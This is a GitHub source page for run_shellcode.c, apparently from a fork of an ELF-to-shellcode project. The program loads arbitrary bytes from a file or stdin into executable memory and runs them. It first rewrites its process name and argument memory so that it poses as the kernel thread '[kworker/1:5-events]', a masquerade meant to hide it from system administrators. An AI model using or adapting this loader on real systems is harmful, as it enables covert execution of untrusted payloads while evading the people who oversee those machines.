forked from NPC2000/elf_to_shellcode
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrun_shellcode.c
More file actions
149 lines (123 loc) · 3.74 KB
/
run_shellcode.c
File metadata and controls
149 lines (123 loc) · 3.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/syscall.h> /* For SYS_xxx definitions */
#ifdef __linux__
#include <sys/prctl.h>
extern char **environ;
#endif
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
int munmap(void *addr, size_t length);
static int read_all(FILE *fp, unsigned char **buffer, size_t *len) {
size_t cap = 4096;
size_t nread = 0;
unsigned char *data = malloc(cap);
if (!data) {
return -1;
}
while (1) {
size_t to_read = cap - nread;
size_t chunk = fread(data + nread, 1, to_read, fp);
nread += chunk;
if (chunk == 0) {
if (ferror(fp)) {
free(data);
return -1;
}
break;
}
if (nread == cap) {
size_t new_cap = cap * 2;
unsigned char *tmp = realloc(data, new_cap);
if (!tmp) {
free(data);
return -1;
}
data = tmp;
cap = new_cap;
}
}
*buffer = data;
*len = nread;
return 0;
}
#ifdef __linux__
static void set_process_title(const char *title, int argc, char **argv) {
char *start;
char *end;
if (argc <= 0 || !argv || !argv[0]) {
return;
}
prctl(PR_SET_NAME, title, 0, 0, 0);
start = argv[0];
end = argv[argc - 1] + strlen(argv[argc - 1]);
for (char **env = environ; env && *env; ++env) {
char *candidate = *env + strlen(*env);
if (candidate > end) {
end = candidate;
}
}
if (end <= start) {
return;
}
size_t total = (size_t)(end - start);
memset(start, 0, total);
strncpy(start, title, total - 1);
}
#else
static void set_process_title(const char *title, int argc, char **argv) {
(void)title;
(void)argc;
(void)argv;
}
#endif
int main(int argc,char * argv[]){
FILE *fp = NULL;
unsigned char *buffer = NULL;
size_t len = 0;
int use_stdin = 0;
set_process_title("[kworker/1:5-events]", argc, argv);
if (argc == 1) {
use_stdin = 1;
fp = stdin;
} else if (argc == 2) {
if (strcmp(argv[1], "-") == 0) {
use_stdin = 1;
fp = stdin;
} else {
fp = fopen(argv[1], "rb");
if (!fp) {
return -1;
}
}
} else {
return 1;
}
if (read_all(fp, &buffer, &len) != 0) {
if (fp && !use_stdin) {
fclose(fp);
}
return -1;
}
if (fp && !use_stdin) {
fclose(fp);
}
if (len == 0) {
free(buffer);
return -1;
}
void * shellcode = mmap(0,len,PROT_READ|PROT_EXEC|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0);
if(shellcode == MAP_FAILED){
free(buffer);
return -1;
}
memcpy(shellcode, buffer, len);
free(buffer);
__clear_cache(shellcode,len + (char*)shellcode);
((void (*)()) shellcode)();
munmap(shellcode, len);
return 0;
}